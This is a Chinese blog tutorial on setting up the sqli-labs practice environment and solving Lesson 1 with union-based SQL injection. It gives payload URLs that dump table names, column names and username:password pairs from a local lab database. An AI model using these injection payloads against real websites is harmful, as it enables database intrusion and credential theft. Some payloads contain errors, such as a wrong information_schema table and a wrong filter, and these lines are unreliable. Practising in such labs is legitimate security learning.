sqli-labs学习sql注入

sqli-labs的安装和配置

下载sqli-labs和phpstudy(注意PHP study版本不能高于8.0,不然容易出错,本人就是PHP study版本高了,一直出错)
下载完成后将sqli-labs解压放在PHP study的WWW文件夹下
在这里插入图片描述
打开sqli-labs-master\sql-connections,在里面有一个db-creds.inc文档,打开编辑
在这里插入图片描述
一般默认用户名、密码都是root,更改过的话输入自己更改后的就行。接下来浏览器输入http://localhost/sqli-labs-master打开
在这里插入图片描述
点击Setup/reset Database for labs
在这里插入图片描述
出现这个就代表成功了。

联合查询注入法

在sql注入时应该记住的一些东西
information_schema库存放了所有库的信息
information_schema.columns包含了所有表的字段
table_name表名
table_schema数据库名
column_name列名
information_schema.tables包含所有库的表名
group_concat()函数能将相同的行组合起来,省老事了。

联合查询注入的原理
联合查询注入的前提就是要有显示位(通过查询从数据库返回到页面的内容)。
因本人为萌新一枚,在这里就以sqli-labs(一)为例子进行说明。
打开网站,进入Lesson 1
在这里插入图片描述
1、判断注入点
闭合符号一般是’、“或者没有闭合符号,而注释符号一般是”) 和 --+
在搜索框内输入?id=1’,发现提示错误。
在这里插入图片描述
用注释符号–+注释后发现正常

在这里插入图片描述
说明注入点是单引号’
2、判断列数
在输入框内输入id=1,2,3;时,均有不同的数据返回。然后输入

http://http://localhost/sqli-labs-master/Less-1/?id=1' order by 4 --+

发现
在这里插入图片描述
说明一共有三列
3、联合查询开始
输入

http://localhost/sqli-labs-master/Less-1/?id=0' union select 1,2,3 --+

在这里的意思是将id的值等于一个在数据库中不存在的数,通过联合查询可以看出输入的数据会在哪里显示出来。
在这里插入图片描述
结果显示出了2 3的位置,所以在2 3位置我们便可以输入我们想用的句子。
爆数据库
爆数据库时可以通过一个**database()**语句来查看当前的数据库

http://localhost/sqli-labs-master/Less-1/?id=0' union select 1,database(),3 --+

在这里插入图片描述
爆数据表
在上面说的一些语句,这里就要用到了
既然是爆数据表,首先就需要一个group_concat()函数加一个数据表名table_name,然后还需要指定一个来源,而来源就是所有库的表名从上面爆出来的数据库中

http://127.0.0.1/sqli-labs-master/Less-1/?id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

在这里插入图片描述
爆字段

http://127.0.0.1/sqli-labs-master/Less-1/?id=0' union select 1,(select group_concat(column_name) from information_schema.column where table_schema='users'),3 --+

在这里插入图片描述
爆值

http://127.0.0.1/sqli-labs-master/Less-1/?id=0' union select 1,group_concat(username,0x3a,password),3 from users --+

在这里插入图片描述
这样,值就被爆出来了!

发布了3 篇原创文章 · 获赞 3 · 访问量 1548

猜你喜欢

转载自blog.csdn.net/qq_46041723/article/details/104498282